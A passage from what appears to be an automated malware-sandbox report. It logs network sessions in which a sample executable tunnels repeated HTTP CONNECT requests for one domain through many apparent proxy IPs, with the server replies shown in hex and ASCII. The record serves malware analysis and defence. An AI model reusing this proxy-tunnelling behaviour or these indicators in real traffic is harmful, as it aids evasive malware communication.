Mar 11, 2024 15:21:27.484086990 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 643 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 63 69 62 65 72 73 65 67 75 72 69 64 61 64 40 61 75 64 65 61 2e 65 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ciberseguridad@audea.es to inform the
Mar 11, 2024 15:21:27.484117031 CET	299	IN	Data Raw: 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 Data Ascii: m of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1369	192.168.2.9	54313	103.163.51.254	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.561321974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1370	192.168.2.9	54442	91.142.222.84	57041	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.561434031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.325478077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.325582981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.141529083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.825417042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.435026884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.138163090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:30.246969938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:44.637547016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1371	192.168.2.9	54531	172.67.181.136	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.563683033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.718483925 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1372	192.168.2.9	54534	104.20.235.179	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.564229965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.718626022 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1373	192.168.2.9	54557	104.25.58.39	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.564804077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.719429016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1374	192.168.2.9	54561	172.67.36.21	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.565015078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.719099045 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1375	192.168.2.9	53659	201.243.82.157	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.566813946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.523561954 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1376	192.168.2.9	54540	45.40.136.39	45741	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.566862106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1377	192.168.2.9	54571	104.21.85.200	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.567512035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.721816063 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1378	192.168.2.9	54578	172.67.181.32	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.568015099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.722268105 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1379	192.168.2.9	54579	172.67.182.150	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.568015099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.722079992 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1380	192.168.2.9	54582	188.114.99.171	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.568634033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.723305941 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1381	192.168.2.9	54458	125.122.26.242	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.576738119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1382	192.168.2.9	54729	43.134.167.223	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.582283020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1383	192.168.2.9	54731	43.134.167.223	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.583811998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1384	192.168.2.9	54600	185.162.229.70	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.585367918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.739612103 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1385	192.168.2.9	54733	43.134.167.223	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.585671902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1386	192.168.2.9	53927	166.62.87.148	40591	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.586132050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.603926897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700754881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.794143915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:32.888271093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:44.903234005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:56.903120041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:20.918749094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1387	192.168.2.9	54744	202.159.35.145	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:08.590039015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1388	192.168.2.9	54745	202.159.35.145	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
